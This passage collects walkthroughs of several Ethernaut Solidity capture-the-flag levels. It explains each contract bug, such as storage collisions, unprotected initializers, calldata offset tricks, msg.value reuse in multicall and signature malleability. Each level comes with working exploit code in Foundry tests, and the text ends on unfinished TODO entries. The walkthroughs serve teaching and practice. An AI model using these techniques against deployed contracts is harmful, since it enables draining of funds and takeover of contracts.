Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
We need to provide the Buyer
contract from the given interface
interface Buyer {
function price() external view returns (uint);
}
The difficulty we find is that they function price()
that we have to provide is a view
. As such, we cannot just add a boolean that we modify at the second visit, like in the Elevator level.
Now, the Shop
contract has two variables
contract Shop {
uint public price = 100;
bool public isSold;
// ...
}
We can access the variable bool public isSold;
, with isSold()
. To avoid compiler problems, as price()
is a view
, we just compose an interface IShop
interface IShop {
function buy() external;
function isSold() external view returns (bool);
}
Afterward we just write our price()
function to complete the attack
function price() public view returns (uint) {
if (challenge.isSold()) {
return 0;
}
return 100;
}
To beat this level, we need to comply with
IERC20(token1).balanceOf(_instance) == 0 || ERC20(token2).balanceOf(_instance) == 0
The key in this problem is to understand this function
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
Let's see some trades:
-
On t = 0
- Player has 10
token_1
, 10token_2
. - Dex has 100
token_1
, 100token_2
.
- Player has 10
-
On t = 1
- Player wants to swap
token_1
fortoken_2
, sends 10token_1
to dex. - Dex computes the price, it is 100
token_2
/ 100token_1
=1
. - Dex receives the 10
token_1
, now it has 100 + 10 = 110token_1
. - Dex sends 10 * 1 = 10
token_2
, now it has 100 - 10 = 90token_2
. - Player receives the 10
token_2
, now it has 10 + 10 = 20token_2
.
- Player wants to swap
-
On t = 2
- Player wants to swap
token_2
fortoken_1
, sends 20token_2
to dex. - Dex computes the price, it is 110
token_1
/ 90token_1
=1.22
. - Dex receives the 20
token_2
, now it has 90 + 20 = 110token_2
. - Dex sends 20 * 1.22 = 24
token_1
, now it has 110 - 24 = 86token_1
. - Player receives the 24
token_1
, now it has 0 + 24 = 24token_1
.
- Player wants to swap
We can see that if the player just keeps swapping, they will deplete the dex of all its tokens!
Then an attack could be
function attack(IDex dex) public {
address from = dex.token1();
address to = dex.token2();
uint256 swapAmount;
// keep swapping until we deplete either token in the dex
while (dex.balanceOf(to, address(dex)) != 0 &&
dex.balanceOf(from, address(dex)) != 0) {
// control to avoid the "Not enough to swap" error
swapAmount = min(
dex.balanceOf(from, address(this)),
dex.balanceOf(from, address(dex))
);
dex.swap(from, to, swapAmount);
(from, to) = swapAddresses(from, to);
}
}
With min()
and swapAddresses()
convenience functions.
- https://eips.ethereum.org/EIPS/eip-20
- https://docs.openzeppelin.com/contracts/4.x/erc20
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/f8e3c375d19bd12f54222109dd0801c0e0b60dd2/contracts/token/ERC20/IERC20.sol
To beat this level, we need to comply with
IERC20(token1).balanceOf(_instance) == 0 && ERC20(token2).balanceOf(_instance) == 0
Looks very similar to the Dex level. Notice, however the absence of this control from the former challenge in the swap()
function:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
In other words, we could use tokens not set into the Dex to engage in swapping:
The design of the MyToken
contract could be
contract MyToken {
function transferFrom(address, address, uint256) public pure returns (bool) {
// we don't even need to do anything here
return false;
}
function balanceOf(address) public pure returns(uint256) {
// the dex will ask for IERC20(from).balanceOf(address(this))
// we give them the value `1`
// the dex uses it to compute the swap amount = amount * token_to / token_from
return 1;
}
}
And the attack to be
function testExploit() public {
// will get as token amount 1 * (100/ 1) = 100 on each swap
dex.swap(address(myToken), dex.token1(), 1);
dex.swap(address(myToken), dex.token2(), 1);
utils.submitLevelInstance(challengeAddress);
}
- https://eips.ethereum.org/EIPS/eip-20
- https://docs.openzeppelin.com/contracts/4.x/erc20
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/f8e3c375d19bd12f54222109dd0801c0e0b60dd2/contracts/token/ERC20/IERC20.sol
To beat this level, we need to comply with
proxy.admin() == _player
So PuzzleProxy
is an instance of UpgradeableProxy
. This means that we can give and upgrade an _implementation
which is the layer where the logic is. Problem with proxies is which pattern we use to store data: The state is in the proxy, with the logic layer operating on the contaxt of this proxy. It is in essence a delegatecall
. Then, if we are not careful, we can overwrite with our implementation the state in an undesirable way.
Look at the state at the proxy
address public pendingAdmin;
address public admin;
This is, the slot 0 contains the variable pendingAdmin
, and the slot 1 the variable admin
.
While at the implementation
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
In here, all logic to owner
will work with slot 0, and interactions with maxBalance
with slot 1.
As the mission is to become admin
. If we are able to leverage the code from the PuzzleWallet
contract to modify maxBalance
, we can beat the level.
How can we do this? With the following chain in reverse order
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted
to makemaxBalance
the player's address.- Since it has a modifier
onlyWhitelisted
, - We add the address to the whitelist with
function addToWhitelist(address addr) external
.- Since it has a control
require(msg.sender == owner, "Not the owner")
, - We make the player owner by exploiting the storage overlap at
function proposeNewAdmin(address _newAdmin) external
- Since it has a control
- Since it has a modifier
All nice and fancy. Now, the problem with setMaxBalance
is the following control:
require(address(this).balance == 0, "Contract balance is not 0");
Which we are going to address in the next sub section.
Notice that execute()
allows you to withdraw funds from the wallet.
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
Also there is a deposit()
function
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
If deposit()
is bundled twice into multicall()
, it will in a way "reuse" msg.value
in such a way that balances[msg.sender]
will be a multiple of the actual sent value.
As the wallet was initialized at the factory with 0.001 ether
, we could deposit 0.001 ether
, but trick the wallet into recording that we have instead 0.002 ether
. In this way we withdraw our funds and the wallet's, draining the wallet in the process.
If we look at multicall()
we realize there is indeed a control for calling the deposit()
function twice within it, but there is no control for the deposit()
function inside a multicall()
function. In other words we are looking to bundle the calls like this:
multicall_0 - deposit
- multicall_1 - deposit
We compose the data in the following way
// let's craft the deposit call
bytes memory depositCalldata = abi.encodeWithSignature("deposit()");
// bundle deposit into into multicall_1
bytes[] memory multicall1Params = new bytes[](1);
multicall1Params[0] = depositCalldata;
bytes memory multicall1CallData = abi.encodeWithSignature("multicall(bytes[])", multicall1Params);
// bundle deposit (again) and multicall_1
bytes[] memory multicall0Params = new bytes[](2);
multicall0Params[0] = depositCalldata; // reusing deposit
multicall0Params[1] = multicall1CallData; // are you confused enough?
As we tricked the balance with the same deposit, twice, we can just drain
// as our balance is 0.002, we can call execute(), draining the contract
// don't forget to set up receive() in this contract
bytes memory b;
target.execute(address(this), 0.002 ether, b);
// and now we can modify slot1 which is admin/maxBalance
target.setMaxBalance(uint160(address(this)));
- https://blog.openzeppelin.com/proxy-patterns/
- https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies
- https://eips.ethereum.org/EIPS/eip-1967
- https://docs.openzeppelin.com/contracts/4.x/api/proxy
- https://github.com/OpenZeppelin/ethernaut/blob/768071ef1d337a01d41261473687c095bd56f96f/contracts/contracts/helpers/UpgradeableProxy-08.sol
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/1a60b061d5bb809c3d7e4ee915c77a00b1eca95d/contracts/proxy/Proxy.sol
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/1a60b061d5bb809c3d7e4ee915c77a00b1eca95d/contracts/utils/Address.sol
To beat this level, we need to comply with
!Address.isContract(engines[_instance])
As engines[address(motorbike)] = address(engine)
, the level wants us to destroy the engine.
A solution would be then, to upgrade the engine of the motorbike, and call its selfdestruct
function.
We can upgrade the contact with _upgradeToAndCall()
, which is guarded by _authorizeUpgrade()
, that controls that
require(msg.sender == upgrader, "Can't upgrade")
How do we become upgraders?
Notice that Engine
inherits from Initializable
, which uses a initialize()
function as a sort of constructor. The implementation of initialize()
here is,
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
The implementers missed a critical part here, which is commented in the documentation of the initializers:
However, while Solidity ensures that a constructor is called only once in the lifetime of a contract, a regular function can be called many times. To prevent a contract from being initialized multiple times, you need to add a check to ensure the initialize function is called only once:
In other words, we can just call initialize()
and become the upgrader
.
So where is the engine contract? Look at both the Motorbike
and Engine
contracts which go by EIP 1967:
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
We need the evil engine
contract SelfDestructableEngine {
function attack() external {
selfdestruct(payable(msg.sender));
}
}
and we upgrade and call it at the setUp()
stage
// create your evil engine
SelfDestructableEngine evilEngine = new SelfDestructableEngine();
// initialize to become the owner
// upgrade to the evil engine, call the selfdestruct() attack
engine.initialize();
engine.upgradeToAndCall(address(evilEngine), abi.encodeWithSignature("attack()"));
Verifying
function testExploit() public {
// setUp() and testExploit() happen at different transactions,
// we need to run our exploit at setUp() to be able to verify.
utils.submitLevelInstance(challengeAddress);
}
- https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#initializers
- https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/d446a47a4f9c9bacefd0f9ac7d7fc8cfa0888ed5/packages/core/contracts/Initializable.sol#L42 https://eips.ethereum.org/EIPS/eip-1967
To beat this level, we need to comply with
// setting a forta bot
address usersDetectionBot = address(forta.usersDetectionBots(_player));
if(usersDetectionBot == address(0)) return false;
// making a "sweep" fail
(bool ok, bytes memory data) = this.__trySweep(cryptoVault, instance);
require(!ok, "Sweep succeded");
// making a condition true (see 4 lines below)
bool swept = abi.decode(data, (bool));
return swept;
// the condition to be true
return(false, abi.encode(instance.balanceOf(instance.cryptoVault()) > 0));
Lot to unpack:
- Set a forta bot.
- Make a "sweep" fail.
- Make sure the balance of this particular token in the vault is greater than 0.
The contract CryptoVault
allows anybody to sweep tokens to a recipient address, as long as it's not the declared underlying one.
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
The contract LegacyToken
has some sort of update system that allows to delegateToNewContract()
. Then, if this delegate
variable is set, it will run a delegated transfer
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
The bug here for the CryptoVault
is that, while it can prevent to engage in "sweeps" over the new delegated token, it cannot prevent "sweeps" if a user gives the address of the old token.
DoubleEntryPoint
has a modifier that calls a detection bot to notify()
on the call of the delegateTransfer()
function, now this modifier, in case it sees an alert has been raised, will revert the execution.
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
// Notify Forta
forta.notify(player, msg.data);
// Continue execution
_;
// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}
This is the simplest part, as once we see how the pieces fit together, we don't need to guarantee other thing than this sweep fails. Then we build the following bot
contract DetectionBot {
IForta forta;
constructor(address _fortaAddress) {
forta = IForta(_fortaAddress);
}
// this is the simplest solution:
// we just want _any_ transfer to fail in this level.
// if we were to add some logic, we need to examine the second parameter,
// to allow some transactions, while preventing others.
function handleTransaction(address user, bytes calldata) public {
forta.raiseAlert(user);
}
}
A more complex bot examining msg.data
would be needed if we need to guarantee the functioning of the transfer outside the CryptoVault
.
- https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20-transfer-address-uint256-
- https://eips.ethereum.org/EIPS/eip-20#transfer
- https://docs.soliditylang.org/en/v0.8.19/contracts.html#modifier-overriding
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/f8e3c375d19bd12f54222109dd0801c0e0b60dd2/contracts/token/ERC20/ERC20.sol#L113-L117
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/f8e3c375d19bd12f54222109dd0801c0e0b60dd2/contracts/token/ERC20/ERC20.sol#L222-L240
To beat this level, we need to comply with
instance.coin().balances(address(instance.wallet())) == 0
Let's look at GoodSamaritan.requestDonation()
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
If donate10()
reverts, and the custom error is NotEnoughBalance()
, then the GoodSamaritan
contract will call wallet.transferRemainder
. How do we produce this consume error?
Notice that Coin.transfer()
, calls the notify()
function of the funds recipient.
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
That is, we can get to implement this function as desired. Then we just send the needed error.
error NotEnoughBalance();
// ... SNIP
// goodSamaritan.requestDonation() will transfer the remainder
// if the error NotEnoughBalance() is received.
//
// just make sure to not revert when you are getting the remainder!
// In this particular case, checking the amount will suffice.
function notify(uint256 amount) public pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
- https://docs.soliditylang.org/en/v0.8.19/abi-spec.html#errors
- https://blog.soliditylang.org/2021/04/21/custom-errors/
- https://solidity-by-example.org/error/
To beat this level, we need to comply with
instance.entrant() == _player
-
gateOne
- Just invoke
GateKeeperThree.construct0r()
- Just invoke
-
gateTwo
- Invoke
GateKeeperThree.createTrick()
- Then
GatekeeperThree.getAllowance(block.timestamp)
- Invoke
-
gateThree
- Send
0.001000000000000001 ether
- Do not implement
receive()
so a transfer to you fails.
- Send
- https://docs.soliditylang.org/en/v0.8.19/units-and-global-variables.html#block-and-transaction-properties
- https://docs.soliditylang.org/en/v0.8.18/contracts.html#receive-ether-function
To beat this level, we need to comply with
_switch.switchOn();
We want to make switchOn
true.
The only way is by using the function turnSwitchOn()
, which has an onlyThis
modifier, which leave us with calling flipSwitch(bytes memory)
, which has a curious modifier
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
In short, takes the calldata, and checks the method called. The election of the byte 68
is due to how calldata is structured for one byte
parameter, for example, calling flipSwitch()
passing turnSwitchOff()
in solidity would be
bytes memory switchCalldata = abi.encodeWithSignature("turnSwitchOff()");
challenge.flipSwitch(switchCalldata);
And the calldata would be
0x30c13ade // selector
0000000000000000000000000000000000000000000000000000000000000020 // 20h = 32d bytes from the selector to the start of data
0000000000000000000000000000000000000000000000000000000000000004 // 4 bytes, length of the `bytes` type (data "started" here)
20606e1500000000000000000000000000000000000000000000000000000000 // the actual data -> 0x20606e15
So we need to maintain this byte 68 in the calldata, but finding a way to passing the selector of turnSwitchOn()
to beat this level.
Let's look at calldata again
0x30c13ade // selector
0000000000000000000000000000000000000000000000000000000000000020 // 20h = 32d bytes from the selector to the start of data
0000000000000000000000000000000000000000000000000000000000000004 // 4 bytes, length of the `bytes` type (data "started" here)
20606e1500000000000000000000000000000000000000000000000000000000 // the actual data -> 0x20606e15
This selector 0x30c13ade
tells to the contract "execute the function flipSwitch(bytes memory)
". The next thing is looking at the next 32 bytes. As the type is dynammic, this word give us the offset, that is, where do I start reading the variable. In this case is 0x20
bytes. If we modify it to 0x60
bytes, it will skip the next 2 words, and read the next chink of data.
Crafting the calldata like this:
0x30c13ade // selector
0000000000000000000000000000000000000000000000000000000000000060 // 60h = 96d bytes from the selector to the start of data
0000000000000000000000000000000000000000000000000000000000000004 // i will not look for my bytes here....
20606e1500000000000000000000000000000000000000000000000000000000 // ....
0000000000000000000000000000000000000000000000000000000000000004 // But I will start reading my 4 bytes HERE
76227e1200000000000000000000000000000000000000000000000000000000 // then _data becomes 0x76227e12
Complying with the modifier, as the byte 68
is still the expected one. And giving the selector for turnSwitchOn()
, which solves the level.
We leverage assembly to solve the level
bytes4 flipSelector = bytes4(keccak256("flipSwitch(bytes)"));
bytes32 offSelectorData = bytes32(bytes4(keccak256("turnSwitchOff()")));
bytes32 onSelectorData = bytes32(bytes4(keccak256("turnSwitchOn()")));
bytes memory switchCalldata = new bytes(4 + 5 * 32);
assembly {
mstore(add(switchCalldata, 0x20), flipSelector)
// calldata tells the EVM: "The bytes variable is in 0x60 bytes forward"
mstore(add(switchCalldata, 0x24), 0x0000000000000000000000000000000000000000000000000000000000000060)
// length of the bytes data (that we are not using in this exploit) but for the modifier
mstore(add(switchCalldata, 0x44), 0x0000000000000000000000000000000000000000000000000000000000000004)
mstore(add(switchCalldata, 0x64), offSelectorData)
// length of the actual bytes data we are using
mstore(add(switchCalldata, 0x84), 0x0000000000000000000000000000000000000000000000000000000000000004)
mstore(add(switchCalldata, 0xa4), onSelectorData)
}
(bool success,) = challengeAddress.call(switchCalldata);
success;
- https://docs.soliditylang.org/en/v0.8.21/abi-spec.html
- https://docs.soliditylang.org/en/v0.8.21/abi-spec.html#use-of-dynamic-types
To beat this level, we need to comply with
instance.commander() == _player;
The function claimLeadership()
allows the player to become the commander
, provided that the value of the treasury
variable exceeds 255
.
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
The issue is that the function responsible for updating the treasury
variable takes an input parameter of type uint8
.
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
Here, calldataload(p)
reads 32 bytes from calldata starting at the specified offset p
. The value is then written directly into the designated storage slot using sstore()
. However, sstore()
does not enforce type restrictions on the value being stored. This allows us to bypass the uint8
constraint and provide a value greater than 255
. For instance, we can use 0x0100
, which exceeds the maximum value of 0xff
(255 in decimal).
The following exploit demonstrates how to achieve this:
function testExploit() public {
(bool success,) = challengeAddress.call(abi.encodeWithSignature("registerTreasury(uint8)", uint16(0x100)));
require(success, "registerTreasury failed");
(success,) = challengeAddress.call(abi.encodeWithSignature("claimLeadership()"));
require(success, "claimLeadership failed");
utils.submitLevelInstance(challengeAddress);
}
- Solidity Documentation - Yul
- Focus on the
calldataload(p)
operation.
- Focus on the
To beat this level, we need to comply with
stakeAddress.balance != 0 &&
stake.totalStaked() > stakeAddress.balance &&
stake.UserStake(_player) == 0 &&
stake.Stakers(_player);
In words:
- The Stake contract's ETH balance has to be greater than 0.
totalStaked
must be greater than the Stake contract's ETH balance.- You must be a staker.
- Your staked balance must be 0.
Three points:
StakeWETH()
will writetotalStaked
,UserStake
, andStakers
even if the WETH transaction fails.Unstake()
will writeUserStake
andtotalStaked
even if the ETH transfer fails.- You want to assist yourself with a contract to inflate the Staker's stake balance.
See in code documentation for the implementation.
contract StakeTest is Test {
address private challengeAddress;
function setUp() public {
challengeAddress = utils.createLevelInstance(0x32FFB8d4244B350F5D3E074e9b731A135531B975);
}
function testExploit() public {
// Makes
// stakeAddress.balance != 0
IStaker(challengeAddress).StakeETH{value: 0.001 ether + 1 wei}();
// Makes
// stake.UserStake(_player) == 0
// but since this contract's `receive()` reverts, keeps
// stakeAddress.balance != 0
IStaker(challengeAddress).Unstake(0.001 ether + 1 wei);
// We need the help of this contract to inflate
// the Staker's stake balance
AttackAssistant attackAssistant = new AttackAssistant(challengeAddress);
attackAssistant.attack();
utils.submitLevelInstance(challengeAddress);
}
receive() external payable {
// This one helps with the condition
// "Your staked balance must be 0.""
revert("Not receiving funds here.");
}
}
contract AttackAssistant {
address private challengeAddress;
constructor(address _challengeAddress) payable {
challengeAddress = _challengeAddress;
}
function attack() external {
// Stakes unexisting funds
// (We do not have 0.001 ether + 2 wei in WETH)
// Makes
// stake.totalStaked() > stakeAddress.balance
address wethAddress = IStaker(challengeAddress).WETH();
IWETH(wethAddress).approve(challengeAddress, type(uint256).max);
IStaker(challengeAddress).StakeWETH(0.001 ether + 2 wei);
}
}
- https://docs.openzeppelin.com/contracts/4.x/erc20
- https://docs.soliditylang.org/en/v0.8.18/contracts.html#receive-ether-function
To beat this level, we need to comply with
ECLocker locker = instance.lockers(0);
function testExploit() public {
// In this challenge, we can change the lock's controller if we supply a valid signature
// whose (r, s, v) tuple has not been used before.
//
// Signature Malleability Attack:
// The vulnerability is that the contract does not enforce that `s` is in the lower half of the curve order,
// as required by EIP-2. This allows us to "flip" the `s` value (and adjust `v` accordingly) to create
// an alternative valid signature that bypasses the replay protection.
// value `r` (from the factory signature)
bytes32 r = bytes32(uint256(11397568185806560130291530949248708355673262872727946990834312389557386886033));
// value `s` (from the factory and flipped)
bytes32 s = bytes32(SECP256K1_N - uint256(54405834204020870944342294544757609285398723182661749830189277079337680158706));
// value `v` (modified from 27 -> 28)
uint8 v = 28;
// Get the initial value
address lockerAddress = IImpersonator(challengeAddress).lockers(0);
assertEq(IECLocker(lockerAddress).controller(), 0x42069d82D9592991704e6E41BF2589a76eAd1A91);
// Execute the attack
IECLocker(lockerAddress).changeController(v, r, s, address(0));
// Check the new controller value
assertEq(IECLocker(lockerAddress).controller(), address(0));
// Submit the solution
utils.submitLevelInstance(challengeAddress);
}
- https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2.md
- All transaction signatures whose s-value is greater than
secp256k1n/2
are now considered invalid. - Allowing transactions with any s value with
0 < s < secp256k1n
, as is currently the case, opens a transaction malleability concern, as one can take any transaction, flip the s value froms
tosecp256k1n - s
, flip the v value (27 -> 28
,28 -> 27
), and the resulting signature would still be valid.
- All transaction signatures whose s-value is greater than
To beat this level, we need to comply with
(TODO)
(TODO)